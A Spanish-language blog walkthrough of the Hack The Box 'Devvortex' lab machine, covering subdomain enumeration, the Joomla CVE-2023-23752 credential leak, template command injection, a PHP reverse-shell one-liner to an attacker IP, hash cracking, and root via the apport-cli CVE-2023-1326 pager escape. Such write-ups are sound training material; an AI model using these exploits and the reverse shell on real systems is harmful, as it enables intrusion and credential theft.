- Publicado el
HTB Devvortex. CTF EASY.
Contenidos
Introducción
Como comentaba unos días atrás, los próximos días subiré algunas de las máquinas que he conseguido la bandera en el CTF recientemente.
Hoy vamos a por la máquina Devvortex. Una máquina de Hack The Box (HTB) de nivel fácil.
¡Vamos a realizar enumeración de directorios web, enumeración de DNS, explotar la vulnerabilidad CVE-2023-23752 de un Joomla!, y finalmente la vulnerabilidad de CVE-2023-1326 de apport-cli
Enumeración
nmap -Pn --open -p- 10.10.11.242
nmap -Pn --open -p- 10.10.11.242
En esta exploración descubrimos el dominio devvortex.htb
. Lo añadimos a /etc/hosts
y vamos a explorar la web
Exploración
Encontramos una web simple, sin CMS ni nada. Aquí lanzamos un gobuster para enumerar directorios y archivos interesantes.... pero no encontramos nada interesante.
gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://devvortex.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 178] [--> http://devvortex.htb/css/] /images (Status: 301) [Size: 178] [--> http://devvortex.htb/images/] /index.html (Status: 200) [Size: 18048] /js (Status: 301) [Size: 178] [--> http://devvortex.htb/js/] Progress: 4723 / 4724 (99.98%) =============================================================== Finished ===============================================================
Vale, aquí parece que no hay nada interesante. Justo en este punto fue donde perdí más tiempo, buscando donde no tocaba. Hasta que termine buscando en el fórum de HTB 😅
Lo que no se me paso por la cabeza, es buscar subdominios... así que vamos a por ello.
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc 302,404 -H "Host: FUZZ.devvortex.htb" devvortex.htb******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://devvortex.htb/ Total requests: 4989 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000019: 200 501 L 1581 W 23221 Ch "dev" Total time: 49.50947 Processed Requests: 4989 Filtered Requests: 4988 Requests/sec.: 100.7685Lo tenemos, añadimos el dominio
dev.devvortex.htb
a/etc/hosts
y buscamos en la nueva web.echo "dev.devvortex.htb" | sudo tee -a /etc/hostsBuscando un poco encontramos el archivo
robots.txt
que este nos revela que estamos delante de un Joomla.Mirando en
http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
podemos encontrar que este sitio utiliza la versión 4.2.6Buscando en San Google encontramos que esta versión es vulnerable
CVE-2023-23752
y citando directamente encontramos que:"As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext."
Vamos a probar:
curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq[...] { "type": "application", "id": "224", "attributes": { "user": "lewis", "id": 224 } }, { "type": "application", "id": "224", "attributes": { "password": "P4ntherg0t1n5r3c0n##", "id": 224 } },Fácil y para toda la familia. ¡Ya tenemos user+password de la base de datos y de "casualidad" para entrar en el Joomla! como admins. Es lo que tiene reciclar passwords, supongo.
Explotación
En hacerlo vemos que tenemos permisos de Administrador... lo cual podemos manipular las templates del mismo. Editamos la plantilla de error para inyectar comandos vía url.
En modificar la template de error, solo tenemos de visitar cualquier url del site que no exista + añadir parámetro 'cmd' en la URL. Por ejemplo así:
Vamos a levantar una shell remota y buscaremos en el MySQL de esta máquina (ya que tenemos sus credenciales)
php -r '$sock=fsockopen("10.10.14.6",4444);exec("bash <&3 >&3 2>&3");'Nos conectamos al MySQL, y buscamos la tabla de usuarios en la database
joomla
Nos guardamos el hash de "logan paul" en un archivo de nombre "hash" y ejecutamos nuestro amigo John para obtener su password.
Si miramos a '/etc/passwd' veremos que existe un usuario 'logan'.... probamos conexión vía SSH....y....pum... ya tenemos la primera flag
Elevación de privilegios
Mirando permisos de sudo, podemos ver esto:
sudo -l[...] User logan may run the following commands on devvortex: (ALL : ALL) /usr/bin/apport-cli
apport-cli
es una herramienta de línea de comandos en Ubuntu que se utiliza para reportar y diagnosticar fallos y errores del sistema. Sirve para recopilar información detallada sobre fallos de aplicaciones o del sistema, lo que ayuda en la identificación y resolución de problemas. Permite a los usuarios enviar reportes de errores a los desarrolladores de Ubuntu de manera eficiente.Buscando un poco por San Google encontramos la vulnerabilidad "CVE-2023-1326".
Esta vulnerabilidad permite a un atacante local (utilizando sudo) escalar privilegios executando un bash dentro del less que se utiliza como paginador.
Vamos a ejecutar el comando
sudo /usr/bin/apport-cli -f
y las siguientes opciones:Y dentro del viewer (less) ejecutamos el
!/bin/bash
Welcome root!